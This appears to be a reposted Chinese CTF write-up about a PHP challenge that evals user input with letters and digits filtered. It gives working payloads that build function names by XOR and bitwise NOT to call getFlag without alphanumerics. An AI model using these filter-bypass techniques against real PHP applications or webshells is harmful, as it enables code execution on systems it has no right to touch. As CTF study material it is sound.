过滤了字母和数字,如何写 shell


日期:2018-08-13 11:56:26
作者:Bay0net
介绍:金融行业正式比赛的一个题目


0x01、题目信息

文中给了一个代码

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

过滤了大小写字母和数字,如何传参来获取 flag?

0x02、构造过程

2.1 有关 php 的异或:

A的ASCII值是65,对应的二进制值是01000001

?的ASCII值是63,对应的二进制值是00111111

异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值就是~

2.2 举个栗子

<?php
    function B(){
        echo "Hello Angel_Kitty";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
?>
  1. 关于 $_++; ;因为$_ 事先没有定义,所以等于 null,然后执行自加的操作,此时 $_=1
  2. 关于 $__= "?" ^ "}";;这里的 $__是字符 B
  3. 最后一句,等价于 B(),执行了 B() 这个函数
("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
上面的是_POST

2.3 关于 GET 传参

源码如下

<?php
function getFlag() {
  echo 'flag_is_here!';
}
echo (eval($_GET['gg']));
?>

方法1:

?gg=${_GET}[_]();&_=getFlag

?gg=${"`{{{"^"?<>/"}["`"^"?"]();&_=getFlag

方法2:博客里的,没搞懂 ${_GET}[__] 干啥的:

?code=${_GET}[_](${_GET}[__]);&_=getFlag

?code=$_=_GET;${$_}[_](${$_}[__]);&_=getFlag

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

方法3:把 getFlag 取反,然后进行 URL 编码

<?php
$a = urlencode('getflag');
echo urlencode(~$a);
?>

gg=$_=getflag;$_();
gg=$_=~%98%9A%8B%B9%93%9E%98;$_();

方法4:

?gg=$阿=getflag;$阿();

?gg=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();

Referer

记一次拿webshell踩过的坑

转载于:https://www.cnblogs.com/v1vvwv/p/how-to-write-shell-without-characters-and-numbers.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值